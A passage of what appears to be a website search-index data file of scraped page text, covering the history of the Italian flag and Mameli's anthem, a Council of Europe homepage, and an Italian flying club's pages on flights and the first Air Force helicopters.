settembre 1923: il Regio Decreto n. 2072, lo adotta come bandiera nazionale. 2 giugno 1946: nasce la Repubblica Italiana. 1947: il Tricolore è introdotto nella Costituzione repubblicana Significato dei Colori Verde (1794: Zamboni - De Rolandis / Colore della speranza di un'Italia libera e unita) (TCX 17-6153) Bianco (1794: Zamboni - De Rolandis / Colore di Bologna) (TCX 11-0601) Rosso (1794: Zamboni - De Rolandis / Colore di Bologna) (TCX 18-1662) Per approfondire il significato dei tre colori della nostra Bandiera Nazionale clicca qui Perchè Tricolore La bandiera italiana è una variante della bandiera della rivoluzione francese, nella quale fu sostituito l'azzurro con il verde che, secondo il simbolismo massonico, significava la natura ed i diritti naturali (uguaglianza e libertà). In realtà i primi a ideare la bandiera italiana sono stati due patrioti e studenti dell'Università di Bologna, Luigi Zamboni, natio del capoluogo emiliano, e Giambattista De Rolandis, originario di Castell'Alfero (Asti), che nell'autunno del 1794 unirono il bianco e il rosso delle rispettive città al verde, colore della speranza. Si erano prefissi di organizzare una rivoluzione per ridare al Comune di Bologna l'antica indipendenza perduta con la sudditanza agli Stati della Chiesa. La sommossa, nella notte del 13 dicembre, fallì e i due studenti furono scoperti e catturati dalla polizia pontificia, insieme ad altri cittadini. Avviato il processo, il 19 agosto 1795, Luigi Zamboni fu trovato morto nella cella denominata &quot;Inferno&quot; dove era rinchiuso insieme con due criminali, che lo avrebbero strangolato per ordine espresso della polizia. L'altro studente Giovanni Battista De Rolandis fu condannato a morte ed impiccato il 23 aprile 1796. Napoleone la adottò il 15 maggio 1796 per le Legioni lombarde e italiane. Il 28 ottobre dello stesso anno, il senato riunito a Bologna decreta che sia creata una Bandiera coi colori Nazionali Verde Bianco e Rosso a bande verticali, la quale divenne per i patrioti, simbolo di speranza per un migliore avvenire: con questo valore fu adottato dalla Repubblica Cispadana il 7 gennaio 1797, qualche mese dopo da Bergamo e Brescia e poi dalla Repubblica Cisalpina. In quell&#146;epoca le sue bande erano disposte talvolta verticalmente all'asta con quella verde in primo luogo, talvolta orizzontalmente con la verde in alto; a cominciare dal 1&deg; maggio 1798 soltanto verticalmente, con asta tricolorata a spirale, terminante con punta bianca. Nella metà del 1802 la forma diviene quadrata, con tre quadrati degli stessi colori racchiusi l'uno nell'altro; questo cambiamento fu voluto dal Melzi (vice presidente della Repubblica Italiana) per cancellare ogni vincolo rivoluzionario legato alla bandiera. Abolito alla caduta del Regno Italico, il tricolore fu ripreso, nella sua variante rettangolare, dai patrioti dei moti del 1821 e del 1831. Mazzini la scelse come bandiera per la sua Giovine Italia, e fu subito adottata anche dalle truppe garibaldine. Durante i moti del '48/'49, sventola in tutti gli Stati italiani nei quali sorsero governi costituzionali: Regno di Napoli, Sicilia, Stato Pontificio, Granducato di Toscana, Ducato di Parma, Ducato di Modena, Milano, Venezia e Piemonte. In quest'ultimo caso alla bandiera fu aggiunto nel centro lo stemma sabaudo (uno scudo con croce bianca su sfondo rosso, orlato d&#146;azzurro). La variante sabauda divenne bandiera del Regno d'Italia fino al referendum istituzionale del 2 giugno 1946, quando l'Italia divenne Repubblica e lo scudo dei Savoia fu tolto. L'inno di Mameli Fratelli d'Italia&#133; Dobbiamo alla città di Genova Il Canto degli Italiani, meglio conosciuto come Inno di Mameli. Scritto nell'autunno del 1847 dall'allora ventenne studente e patriota Goffredo Mameli, musicato poco dopo a Torino da un altro genovese, Michele Novaro, il Canto degli Italiani nacque in quel clima di fervore patriottico che già preludeva alla guerra contro l'Austria. L'immediatezza dei versi e l'impeto della melodia ne fecero il più amato canto dell'unificazione, non solo durante la stagione risorgimentale, ma anche nei decenni successivi. Non a caso Giuseppe Verdi, nel suo Inno delle Nazioni del 1862, affidò proprio al Canto degli Italiani - e non alla Marcia Reale - il compito di simboleggiare la nostra Patria, ponendolo accanto a God Save the Queen e alla Marsigliese. Fu quasi naturale, dunque, che il 12 ottobre 1946 l'Inno di Mameli divenisse l'inno nazionale della Repubblica Italiana. Il poeta Goffredo Mameli dei Mannelli nasce a Genova il 5 settembre 1827. Studente e poeta precocissimo, di sentimenti liberali e repubblicani, aderisce al mazzinianesimo nel 1847, l'anno in cui partecipa attivamente alle grandi manifestazioni genovesi per le riforme e compone Il Canto degli Italiani. D'ora in poi, la vita del poeta-soldato sarà dedicata interamente alla causa italiana: nel marzo del 1848, a capo di 300 volontari, raggiunge Milano insorta, per poi combattere gli Austriaci sul Mincio col grado di capitano dei bersaglieri. Dopo l'armistizio Salasco, torna a Genova, collabora con Garibaldi e, in novembre, raggiunge Roma dove, il 9 febbraio 1849, è proclamata la Repubblica. Nonostante la febbre, è sempre in prima linea nella difesa della città assediata dai Francesi: il 3 giugno è ferito alla gamba sinistra, che dovrà essere amputata per la sopraggiunta cancrena. Muore d'infezione il 6 luglio, alle sette e mezza del mattino, a soli ventidue anni. Le sue spoglie riposano nel Mausoleo Ossario del Gianicolo. Il musicista Michele Novaro nacque il 23 ottobre 1818 a Genova, dove studiò composizione e canto. Nel 1847 è a Torino, con un contratto di secondo tenore e maestro dei cori dei Teatri Regio e Carignano. Convinto liberale, offrì alla causa dell'indipendenza il suo talento compositivo, musicando decine di canti patriottici e organizzando spettacoli per la raccolta di fondi destinati alle imprese garibaldine. D&#146;indole modesta, non trasse alcun vantaggio dal suo inno più famoso, neanche dopo l'Unità. Tornato a Genova, fra il 1864 e il 1865 fondò una Scuola Corale Popolare, alla quale avrebbe dedicato tutto il suo impegno. Morì povero, il 21 ottobre 1885, e lo scorcio della sua vita fu segnato da difficoltà finanziarie e da problemi di salute. Per iniziativa dei suoi ex allievi, gli fu eretto un monumento funebre nel cimitero di Staglieno, dove oggi riposa vicino alla tomba di Mazzini. Come nacque l'inno La testimonianza più nota è quella resa, seppure molti anni più tardi, da Carlo Alberto Barrili, patriota e poeta, amico e biografo di Mameli. Siamo a Torino: &quot;Colà, in una sera di mezzo settembre, in casa di Lorenzo Valerio, fior di patriota e scrittore di buon nome, si faceva musica e politica insieme. Infatti, per mandarle d'accordo, si leggevano al pianoforte parecchi inni sbocciati appunto in quell'anno per ogni terra d'Italia, da quello del Meucci, di Roma, musicato dal Magazzari - Del nuovo anno già l'alba primiera - al recentissimo del piemontese Bertoldi - Coll'azzurra coccarda sul petto - musicata dal Rossi. In quel mezzo entra nel salotto un nuovo ospite, Ulisse Borzino, l'egregio pittore che tutti i miei genovesi rammentano. Giungeva egli appunto da Genova; e voltosi a Novaro, con un foglietto che aveva cavato di tasca in quel punto: - To' gli disse, te lo manda Goffredo. - Novaro apre il foglietto, legge, e si commuove. Gli chiedono tutti cosa fosse, gli fan ressa d'attorno. - Una cosa stupenda! - esclama il maestro; e legge ad alta voce, e solleva ad entusiasmo tutto il suo uditorio. - Io sentii - mi diceva il Maestro nell'aprile del '75, avendogli io chiesto notizie dell'Inno, per una commemorazione che dovevo tenere del Mameli - io sentii dentro di me qualche cosa di straordinario, che non saprei definire adesso, con tutti i ventisette anni trascorsi. So che piansi, che ero agitato, e non potevo star fermo. Mi posi al cembalo, con i versi di Goffredo sul leggio, e strimpellavo, assassinavo con le dita convulse quel povero strumento, sempre con gli occhi all'inno, mettendo giù frasi melodiche, una sull'altra, ma lungi mille miglia dall'idea che potevano adattarsi a quelle parole. Mi alzai scontento di me; mi trattenei ancora un po' in casa Valerio, ma sempre con quei versi davanti agli occhi della mente. Vidi che non c'era rimedio, presi congedo e corsi a casa. Là, senza neppure levarmi il cappello, mi buttai al pianoforte. Mi tornò alla memoria il motivo strimpellato in casa Valerio, lo scrissi su di un foglio di carta, il primo che mi venne alle mani: nella mia agitazione rovesciai la lucerna sul cembalo e, per conseguenza, anche sul povero foglio; fu questo l'originale dell'inno Fratelli d'Italia&#148;. L&#146;inno La cultura di Mameli è classica e forte è il richiamo alla romanità. Appartiene a Scipione l'Africano, il vincitore di Zama, l'elmo che indossa l'Italia pronta alla guerra. Una bandiera e una speranza (speme) comuni per l'Italia, nel 1848 ancora divisa in sette Stati. In questa strofa, Mameli ripercorre sette secoli di lotta contro il dominio straniero. Anzitutto, la battaglia di Legnano del 1176, in cui la Lega Lombarda sconfisse Barbarossa. Poi, l'estrema difesa della Repubblica di Firenze, assediata dall'esercito imperiale di Carlo V nel 1530, di cui fu simbolo il capitano Francesco Ferrucci. Il 2 agosto, dieci giorni prima della capitolazione della città, egli sconfisse le truppe nemiche a Gavinana; ferito e catturato, è finito da Fabrizio Maramaldo, un italiano al soldo straniero, al quale rivolge le parole d'infamia divenute celebri &quot;Tu uccidi un uomo morto&quot; Ogni squilla significa &quot;ogni campana&quot;. La sera del 30 marzo 1282, le campane chiamarono il popolo di Palermo all'insurrezione contro i Francesi di Carlo d'Angiò, i Vespri Siciliani.Fratelli d'Italia Fratelli d'Italia (1847) di Goffredo Mameli musica di Michele Novaro Inno nazionale della Repubblica italiana dal 1947 L'Italia s'è desta, Dell'elmo di Scipio S'è cinta la testa. Dov'è la Vittoria ? Le porga la chioma, Ché schiava di Roma Iddio la creò. Stringiamci a coorte Siam pronti alla morte L'Italia chiamò. Noi siamo da secoli Calpesti, derisi, Perché non siam popolo, Perché siam divisi. Raccolgaci un'unica Bandiera una speme: Di fonderci insieme Già l'ora suonò. Stringiamci a coorte Siam pronti alla morte L'Italia chiamò. Uniamoci, amiamoci, l'Unione, e l'amore Rivelano ai Popoli Le vie del Signore; Giuriamo far libero Il suolo natìo: Uniti per Dio Chi vincer ci può? Stringiamci a coorte Siam pronti alla morte L'Italia chiamò. Dall'Alpi a Sicilia Dovunque è Legnano , Ogn'uom di Ferruccio Ha il core, ha la mano, I bimbi d'Italia Si chiaman Balilla, Il suon d'ogni squilla I Vespri suonò. Stringiamci a coorte Siam pronti alla morte L'Italia chiamò. Son giunchi che piegano Le spade vendute: Già l'Aquila d'Austria Le penne ha perdute. Il sangue d'Italia, Il sangue Polacco, Bevé, col cosacco, Ma il cor le bruciò. Stringiamci a coorte Siam pronti alla morte L'Italia chiamò Evoluzione della Bandiera Italiana Keywords: Bandiera Italiana, Bandiere del Mondo, Bandiere, Bandiera, Bandiere Animate, Bandiere di paesi, gif, Bandiera Animata, uglielmo marconi, marconi, radio, storia della radio, invenzioni, invenzione della radio, marconi bologna, alettra marconi, degna marconi, augusto righi, heinrich hertz, coherer, coesore, nave elettra, alfonso marconi, yacht elettra, rowenska, history of radio, cultura radio, popov, aleksander popov, radio station, stazione radio,");sQ1[72]=new Array("http://www.coe.int/DefaultIT.asp","47 Countries - 800 millions citizens - Council of Europe","The Council of Europe brings together 47 states to protect and promote human rights and democracy. It works by setting legal standards for the whole European continent.","Accessibility l Go to contents l Sitemap menu-login EN FR DE IT RU Intranet access council-of-europe 47 Countries - 800 millions citizens - Council of Europe Advanced Search Who we are The Council of Europe in brief Who we are Who we are Leaders Do not get confused Symbols and logo Quiz Mission Our objectives How we work Our budget Our actions The Reform Member states 47 countries, one Europe Art and donations History Our guests Founding fathers Key dates Pratical information Documentation Contacts Wallpapers  What we do What we do Human rights European Court of Human Rights Reform of the European Court of Human Rights European Convention on Human Rights The Convention at a glance EU accession to the Convention European prison reform Children's rights Sexual exploitation of children Death penalty Prevention of torture Racism National minorities Roma and Travellers Homophobia Law Organised crime Corruption Money laundering Personal data Terrorism Efficiency of justice Democracy Democracy Through Law Forum for the Future of Democracy Gender Equality Civil society Elections and democracy The Council of Europe and the Arab Spring Society Living Together - Diversity and Freedom in Europe European Social Charter Corporal punishment Disabilities Migration Council of Europe Development Bank Internet, media Children and the Internet Media freedom Cybercrime Health Bioethics Drugs Pharmaceutical and healthcare Europe Health protection Culture, cultural heritage, nature Cinema and audiovisual European Cultural Convention Intercultural and interreligious dialogue Biological diversity - Bern Convention Sustainable development Climate change Education, languages, sports, youth Citizenship Violence at school Minority languages Teaching History Sport for all Doping Violence in sport  Human Rights Human Rights Protection of Human Rights European Court of Human Rights Execution of judgements of the European Court of Human Rights Effectiveness of the Human Rights Convention (ECHR) system at national and European level ECHR training for legal professionals Torture &ndash; European Committee for the Prevention of Torture CPT Promoting Human Rights Commissioner for Human Rights Gender equality Violence against women and domestic violence Trafficking in Human Beings - GRETA Integration of people with disabilities Racism and intolerance &ndash; ECRI Roma's rights Migrants' rights National minorities Regional and minority languages Children's rights &ndash; Building a Europe for and with children Children's rights &ndash; Child abuse Children's rights &ndash; Child-friendly justice Ensuring Social Rights European Social Charter European Code of Social Security Public health Bioethics Drug abuse and illicit trafficking &ndash; Pompidou Group European Directorate for the Quality of Medicines &ndash; EDQM Pharmacopoeia  Democracy Democracy Democratic governance Parliamentary Assembly PACE Congress of Local and Regional Authorities Local governance Education policy Cultural policy Youth policy Biodiversity Sustainable Democratic Societies Social cohesion strategy Social cohesion - Council of Europe Development Bank CEB Natural catastrophes - Major Natural and Technological Disasters EUR-OPA Cultural diversity and intercultural dialogue Cultural diversity - Cultural routes Cultural diversity - European Audiovisual Observatory Cultural diversity - European Cinema Support Fund Eurimages Intercultural dialogue - North South Centre Education for democratic citizenship Intercultural education - European Centre for Modern Languages ECML Intercultural education and training - European Youth Centre Strasbourg EYCS Intercultural education and training - European Youth Centre Budapest EYCB Support to youth activities - European Youth Foundation EYF Youth Mobility through the Youth Card Sport and Ethics Sport - Enlarged Partial Agreement on Sport EPAS  Rule of Law Rule of Law Justice Efficiency of justice - Commission for the Efficiency of Justice CEPEJ Efficiency of justice - Consultative Council of European Judges CCJE Efficiency of justice - Consultative Councilf of European Prosecutors CCPE Prisons Police Common standards and policies European Commission for Democracy through Law - Venice Commission Crime problems - European Committee on Crime Problems CDPC Data protection Transnational Criminal Justice Legal cooperation - European Committee on Legal Cooperation CDCJ Public International Law - Committee of Legal Advisers CAHDI Information society and internet governance Threats to the Rule of Law Corruption - GRECO Money laudering - MONEYVAL Terrorism Cybercrime Counterfeiting of medical products &ndash; MEDICRIME Convention  Organisation Organisation Institutions Committee of Ministers Secretary General Parliamentary Assembly European Court of Human Rights Congress of Local and Regional Authorities Commissioner for Human Rights Conference of INGOs Secretariat General Organisation and Mandates of the Secretariat Directorates Human rights and Legal affairs Democracy and Political Affairs Treaty Office, International Law, Terrorism Social cohesion Education, culture and heritage, youth and sport External relations Partial Agreements North-South Centre (Lisbon) European Audiovisual Observatory European Centre for Modern Languages (Graz) Eurimages European Commission for Democracy through Law (Venice Commission) EDQM/European Pharmacopoeia Pompidou Group Group of States against Corruption (GRECO) Council of Europe Development Bank (restricted) Council of Europe Development Bank (public) (Paris) EUR-OPA Major Hazards Agreement Enlarged Partial Agreement on Sport (EPAS) External Offices List of external offices Websites Baku (Azerbaijan) Belgrade (Serbia) Brussels (Belgium) Chisinau (Moldova) Kyiv (Ukraine) Moscow (Russian Federation) Sarajevo (Bosnia and Herzegovina) Tbilisi (Georgia) Tirana (Albania) Yerevan (Armenia)  47 Countries 47 Countries Member States Albania Andorra Armenia Austria Azerbaijan Belgium Bosnia and Herzegovina Bulgaria Croatia Cyprus Czech Republic Denmark Estonia Finland France Georgia Germany Greece Hungary Iceland Ireland Italy Latvia Liechtenstein Lithuania Luxembourg Malta Republic of Moldova Monaco Montenegro Netherlands Norway Poland Portugal Romania Russian Federation San Marino Serbia Slovak Republic Slovenia Spain Sweden Switzerland ''The former Yugoslav Republic of Macedonia'' Turkey Ukraine United Kingdom European Union The Council of Europe and the European Union: different roles, shared values Observer States Canada Holy See Israel Japan Mexico United States  Newsroom www.coe.int COE Hub Home Page COE News  Close Me! David Cameron and Tarja Halonen to address the Assembly 03 January 2012 British Prime Minister David Cameron and Finnish President Tarja Halonen to address the Assembly Parliamentary Assembly to hold its winter session from 23 to 27 January David Cameron and Tarja Halonen to address the Assembly Parliamentary Assembly 03 January 2012 British Prime Minister David Cameron and Finnish President Tarja Halonen to address the Assembly Parliamentary Assembly to hold its winter session from 23 to 27 January Hungary: Legislative changes threaten democracy and human rights Council of Europe 12 January 2012 Hungary: Legislative changes threaten democracy and human rights Secretary General ThorbjÃ¸rn Jagland and Human Rights Commissioner Thomas Hammarberg react to the recent legislative and constitutional changes Assembly President pays tribute to Giuseppe Vedovato Parliamentary Assembly 20 January 2012 Assembly President pays tribute to Giuseppe Vedovato &#034;He was a fervent European and one of the greatest allies the Council of Europe has ever had&#034;, MevlÃ¼t Cavusoglu said All news Focus Council of Europe and European Union The Council of Europe and the European Union share the same values &ndash; human rights, democracy and the rule of law. Focusing on those core values, the Council of Europe brings together governments from across Europe &ndash; and beyond &ndash; to agree legal standards in a wide range of areas. The EU refers to those same European values as a key element of its deeper political and economic integration processes. The Lisbon Treaty increased the scope for its action in many areas where the Council of Europe already has significant experience and expertise. ( more&hellip;) See all files Multimedia Assembly session 23-27 January 2012 Live webcasts Multimedia Press events Assembly website Web Content Display Thorbjørn Jagland Secretary General Chairmanship United KingdomNovember 2011 - May 2012 Committee of Ministers Parliamentary Assembly Congress of Local and Regional Authorities European Court of Human Rights Commissioner for Human Rights Conference of INGOs Diaries The week in brief The year in brief   Contact us Visit the Council of Europe Council of Europe Offices Contacts Follow us Follow us on Facebook Follow us on Twitter Visit us on FlickR Visit us on YouTube Visit our blog Newsletters RSS  Advanced Search  Favorite Share Print RSS  Disclaimer - © Council of Europe 2011 - © photo credit - Webmaster Activities Human rights Law Democracy Society Media, Communication Health Culture, cultural heritage, nature Education, languages, sports, youth Who we are Human Rights Convention Council of Europe Treaties Press | Multimedia Newsroom Web TV Image Bank Podcasts Campaigns Useful links Employment Call for tenders Online bookshop Archives Archived web pages Sitemap Amicale Administrative Tribunal Contact us Contacts External Offices Visit us Newsletters Patronage Form Keywords: Council of Europe, Conseil de l'Europe, portail, Hub, Europe, Conseil");sQ1[73]=new Array("http://www.volareflyfree.it/info.html","Informazioni e notizie di Volo - Volare Fly Free","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci Dove siete: Home Page/ Informazioni Home Page Informazioni I nostri Allievi Piloti Contattaci Informazioni generali dei voli e Scuola di Volo I voli sono programmati per una promozione del volo da diporto e sportivo ed hanno durata, percorso, data e luogo di decollo, da precisarsi al momento della richiesta. I costi sono quelli del rimborso carburante e contributo di partecipazione ai costi di assicurazione. Località: San Giovanni Rotondo, Gargano. Per raggiungere il nostro campo di volo avete come riferimenti la strada provinciale delle Matine (Manfredonia - San Giovanni Rotondo) e la via vicinale, a sinistra, km. 1 prima del bivio che sale a San Giovanni Rotondo. Durata del volo: circa un'ora. Luogo di riferimento: San Giovanni Rotondo (Foggia) Velivoli: Sky Ranger Disponibilità: Da concordare. Orario: Da concordare. Sarà possibile in sede di prenotazione scegliere il tragitto e l'itinerario preferito. Servizio Meteo dell'Aeronautica Militare Note: Nell'ipotesi di condizioni atmosferiche avverse, il pilota potrà decidere in autonomia di non effettuare il volo, che sarà rimandata alla prima data utile. Restrizioni per i partecipanti: Per i minori d'età è richiesto il consenso scritto dei genitori (età minima 16 anni). Policy di cancellazione: L'eventuale cancellazione del volo deve essere fatta almeno 24 ore prima dell'appuntamento fissato. Successivamente a tale termine, si perderà il valore del volo, senza eccezioni. Vi consigliamo quindi di pianificare i vostri appuntamenti con attenzione. Controllate la situazione metereologica nella nostra regione con il Servizio Meteo dell'Aeronautica Militare Foto AM: - il Capo di Stato Maggiore, Generale di Squadra Aerea Giuseppe Bernardis si reca all'Altare della Patria a Roma Foto Aereo Tornato A.M.I.: http://www.aereimilitari.org/Aerei/TornadoIDS.htm 27-03-2011 Oggi 28 Marzo 2011 l’AM festeggia il suo 88° compleanno dalla sua fondazione. &quot;Ho sempre amato questa festa. Da bambino, fin dal giorno prima, mi accorgevo dell'imminente festa dell'Aeronautica, dai preparativi che si facevano in casa: papà che prendeva la sua migliore uniforme; la mamma che appuntava sul petto della giacca, cucendole con ago e filo, le decorazioni (credo sopra i nastrini) stirando accuratamente il tutto. Veniva presa dall'armadio la sciabola e la si completava unendola al nastro d'ordinanza. A terra in bagno scarpe lucidissime. Il giorno dopo, era bellissimo: facevo vacanza da scuola, e mi recavo in aeroporto a Padova, dove iniziati i festeggiamenti avrei atteso in disparte fino a quando il mio genitore sarebbe venuto a riprendermi, al rompete le righe. Ero orgoglioso di camminare a fianco del mio genitore che mi teneva per mano a destra, con la sciabola sottobraccio a sinistra. E il &quot;buffetto&quot; che il comandante del XVII° Reparto I.T. mi fece quando gli fui presentato. Quanti bei sorrisi e saluti fra colleghi in attesa di andare tutti in sala da pranzo.&quot;S.Tognoni - Una fotografia di ricordi dell'anno 1961. Paolo su Tecnam P96 Golf 100 con sigla ULM I-5669 Documenti 05 settembre 2009 Locandina Mostra Fotografica Storia Aeronautica del Comune di CapannoriDim. File. (322 Kb) Comunicazioni Il 28 marzo di ogni anno è dell'anniversario della fondazione dell'Aeronautica Militare Italiana Alto Stampa Arturo Bertoldo e Ombretta Peroò Ricordiamo Per non dimenticare coloro che in Aeronautica hanno dato la vita. Ricordiamo gli aviatori italiani caduti in Bosnia Una tragedia aviatoria in Romania Info Regionali Aeronautica Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Telefon: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[74]=new Array("http://www.volareflyfree.it/nascita_elicotteri.html","I primi elicotteri dell'Aeronautica Militare","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci Dove siete: Home Page / Aeronautica / I primi elicotteri dell'AM Home Page Aeronautica Aeroplani Sopravvissuti Gli stemmi e le insegne dell'Aeronautica Militare Italiana Avieri e Soldati che negli anni hanno servito nell'Arma Aeronautica DOMENICO AGUSTA  Costruttore aeronautico Una vita fra gli aeroplani Lo hanno ricordato English DOMENICO AGUSTA A lesson in achievement A Lifetime among Aeroplanes I primi elicotteri dell'Aeronautica Militare italiana Contattaci I Primi elicotteri dell'Aeronautica Militare Mezzo secolo fa nasceva il prino nucleo elicotteri delle nostre forze armate. Molti anni orsono, e precisamente il 1 febbraio del 1953, si costituiva sull'aeroporto dell'Urbe (Roma) il Reparto Addestramento Elicotteri dell'Aeronautica Militare italiana. Era il primo seme dal quale sarebbero poi germogliati i Reparti Elicotteri dell'Esercitodella Marina, dei Carabinieri e degli altri Corpi dello Stato. Aeroporto dell'Urbe, febbraio 1953. Figure infreddolite che un ordine di movimento ha fatto convergere su questo Aeroporto nella gelida giornata invernale. Nella sala riunioni si incontrano: Del Giudice, Balzarelli, Rasicci, Corveddu, Virdis, D'Avola, Renda. Dopo le presentazioni i primi scambi di notizie per cercare di sapere qualcosa di pi&#249 su questo Reparto Addestramento Elicotteri che, come precisa il Foglio d'Ordini in data 1 febbraio, viene costituito con sede sull'Aeroporto dell'Urbe. Il Comandante, il T.Col. Pilota Giulio Marini, &#232 in Inghilterra insieme ad altri piloti, il Magg. De Giorgi, il Cap. Pennacchi e il Ten. Ferretti, per il passaggio sui due elicotteri Westland-Sikorsky WS 51 che tra circa un mese arriveranno in volo da Yeovil nella contea di Somerset (sud Inghilterra). I primi elicotteri dell'Aeronautica Militare, e delle Forze Armate italiane, sull'Aeroporto dell'Urbe nel 1953. Sono due WS 51 e tre Bell 47 D-1 The first helicopters of the Military Air-Force and of the Italian Army on ground at the Urbe airport in 1953. They are: two WS 51 and htree Bell 47 D-1. Alcuni giorni dopo al vicino scalo ferroviario arrivano i tre elicotteri Bell 47D-1 ordinati negli Stati Uniti, con i quali ha inizio l'attivit&#224 elicotteristica dell'Aeronautica Militare, anzi, delle Forze Armate Italiane.  Ancora un pò di tempo e arriva il grande giorno: il primo elicottero &#232 pronto per il primo volo di controllo. Il Ten. Del Giudice &#232 ai comandi: &#232 un pilota esperto di Bell 47 perch&#232 ha svolto una lunga attivit&#224 con gli elicotteri civili ceduti all'Italia dalla Fondazione Rockfeller per la disinfestazione delle zone malariche poco dopo la fine della guerra. Dopo un quarto d'ora di volo l'elicottero atterra: tutto a posto. Nel giro di pochi giorni, anche gli altri due elicotteri vengono montati e collaudati. Quando arriva dalla Gran Bretagna il Comandante con il Magg. De Giorgi e i due elicotteri WS 51 dopo un volo non facile di 2500 chilometri, il Reparto &#232 gi&#224 quasi organizzato. Alcuni ufficiali del Reparto Addestramento Elicotteri. Da sinistra Cap. Vincenzo Frixa, Cap. Mario Pennacchi, T. Col. Giulio Marini, Cap. Girolamo Del Giudice, Ten Dante Cafiero. A group of Officiers belonging to the Helicopter Training Division. From the left: Cap. Vincenzo Frixa, Cap. Mario Pennacchi, Ten Col. Giulio Marini, Cap. Girolamo Del Giudice, Ten. Dante Cafiero. Incomincia l'attivit&#224 programmata del Reparto. Nuovi piloti e nuovi specialisti vengono assegnati al gruppo. E' arrivato il Ten. Pilota Cafiero e i M.lli Piloti Lepore, Omodeo e Cavo e tra gli specialisti, dall'Inghilterra dove hanno effettuato il corso sul WS 51, i M.lli Salussolia,Ponsalino , Vidussi, Ferri, Mazzarella e i Serg. Renda, Piacentini, D'Avola, mentre sei giovani specialisti Morgagni, Apolito, Della Rosa, Clericuzio, Sorbara e Scioli, rappresentano le nuove leve destinate a proiettare nel futurol'esperienza dei sottufficiali pi&#249 anziani. I Capitani Frixa e Mantovani sono in arrivo dagli Stati Uniti dove hanno frequentato un corso di pilotaggio sugli elicotteri Bell 47 e Sirkosky H-19. Bisogna abilitare nuovi piloti, mantenere in addestramento quelli gi&#224 abilitati, fare corsi di istruzione teorici ai nuovi specialisti,completare la organizzazione tecnico-logistica, fare ispezioni e mantenere l'efficienza degli elicotteri. E' in questo periodo che la ditta Agusta, con una non indifferente dose di coraggio, avvia la produzione di una serie di dieci elicotteri Bell 47 G, ordinati dall'Aeronautica Militare italiana, dopo aver stipulato con l'americana Bell un accordo di licenza.  Un sensibile aumento della richieste operative mette per un attimo in crisi il reparto,subito rientrata per la presenza in Italia di una industria elicotteristica che sicuramente avrebbe contribuito a risolvere quei problemi inevitabili di natura tecnico-logistica. Nella foto: Il Comandante del Reparto Addestramento Elicotteri sulla base di Araxos in Grecia, dove uomini e mezzi hanno partecipato, nell'estate del 1953, alle operazioni di soccorso nelle zone colpite dal terremoto. The helicopters' Training Division Commander at Araxos, Greece, where men and means of his division took part, in the Summer of 1953, during the rescue operations in the eartquake struk areas. Nel quadro di questa presenza industriale visitano l'aeroporto dell'Urbe il Comm. Domenico Agusta con il Fratello Dott.Mario, accompagnati dal Gen. Pellacci. Nessuno avrebbe mai pensato che da li a vent'anni l'Agusta sarebbe diventata la seconda produttrice mondiale di elicotteri con oltre duemila macchine prodotte in circa 20 modelli alcuni dei quali di propria progettazione. Trascorrono alcuni mesi di intenso lavoro, quando giunge un ordine operativo: regioni e isole greche sono state devastate da un terremoto e urge portare soccorso. Un elicottero WS 51 si trasferir&#224 in volo a Patrasso mentre due Bell 47 saranno caricati su un trasporto S 82 per raggiungere la stessa base, essere rimontati, collaudati ed essere operativi. Il tutto nel giro di poche ore. E la prima vera missione operativa: medici, personale paramedico, materiale sanitario e di soccorso viene spostato sul luogo dove necessita.   Non mancano i momenti di cameratismo quando sprezzanti del pericolo fu portato in salvo l'equipaggio di un elicottero straniero incidentato. Venti giorni dopo si riprende all'Urbe la normale attivit&#224 del Reparto. Non passa molto tempo che cinque nuovi elicotteri, ritirati dal Comandante Lancia e dal capo dell'Ufficio di Sorveglianza Tecnica, Ten. Mannavola, e portati, dopo il positivo volo di accettazione, al Reparto per il loro impiego operativo. Il Reparto &#232 cresciuto e si &#232 fatto adulto: tremila ore di volo molte delle quali in reali operazioni di soccorso hanno portato i piloti e gli specialisti a una preparazione soddisfacente, gli stessi che da li a qualche mese formeranno i primi reparti elicotteri dell'Esercito e della Marina. Nel 1955 quando il comando viene assunto dal Magg. Pilota Silvio De Giorgi che aveva avvicendato il Ten. Col Marini, avviene il trasferimento sull'aeroporto di Frosinone. In quella base si trova il personale e il necessario supporto logistico per la creazione di un Centro Elicotteri articolato su un Gruppo Impiego e un Gruppo Scuola, quest'ultimo indispensabile per la formazione teorico-pratica per piloti e specialisti delle tre Forze Armate e del nascendo Gruppo Elicotteri del Comando Generale della Guardia di Finanza.   English version Nella foto: Estate 1954 - Nel golfo di Gaeta un elicottero, pilotato dal T.Col. Marini, effettua per la prima volta un appontaggio su una nave, l'incrociatore Garibaldi della Marina Militare. Summer 1954 - In the gulf of Gaeta, an Helicopter, driven by Lieut. Col. Marini, tries for the first time an on-deck landing on cruiser 'Garibaldi' belonging to the Military navy. many years ago, to be exact, on 1 February 1953, the first helicopter training unit of the Italian Air Force came into existence. It was the first seed from which all the elicopter units of the Army, Navy, Carabinieri as well as of all other Italian Corps were to later spring. We thought back again first two years. At that time, Lt. Col. Giulio Marini, commanding officer of the newly formed unit, was in the United Kingdom togheter with Maj. De Giorgi, Capt. Pennacchi,and Lt. Ferretti, to prepare for the ferry flight from Yeovil of two Westland-Sirkosky helicopters. Meanwhile, three Bell 47 D-1's, ordered from the United States, arrived at the nearby railway freight yard. The arrival of these three machines marked the beginning of rotary-wing activity of the Italian Air Force, and in fact, of all the Italian Armed Forces. The culminating point was reached a little later, when the first helicopter was ready for flight testing, with Lt. Del Giudice, an experienced Bell Model 47 pilot, at the controls. Del Giudice's previous experience derived from his assignement to the civilian helicopters presented to Italy by the Rockfeller Foundation. These helicopters were used with great success for the disinfestation of malarial areas in Italy soon after the end of World War II. Following the 15-minute test flight at Urbe the aircraft lands. Everything is OK.  Assembly and testing of the two other helicopters is a matter of a couple of days. When Lt. Col. Giulio marini and Maj. De Giorgi arrive from the UK with the two WS 51's after a none-too-easy ferry flight of 2500 km, the IAF helicopter unit becomes a reality. This is just the time when Agusta, displaying no small degree of courage, enters into license agreement with the Bell Helicopter Company, and starts production of a series of the first ten Bell 47 G helicopters ordered by the Italian Air Force. Following a few months of intensive works on the part of the eager members ofthe new Helicopter Unit, an unexpected mission is urgently demanded of them: the greek mainland and islands have been laid waste by earhquake shocks, and assistance is badly needed. Helicopters are the only vehicles capable of operating in the devastated areas. The Unit's 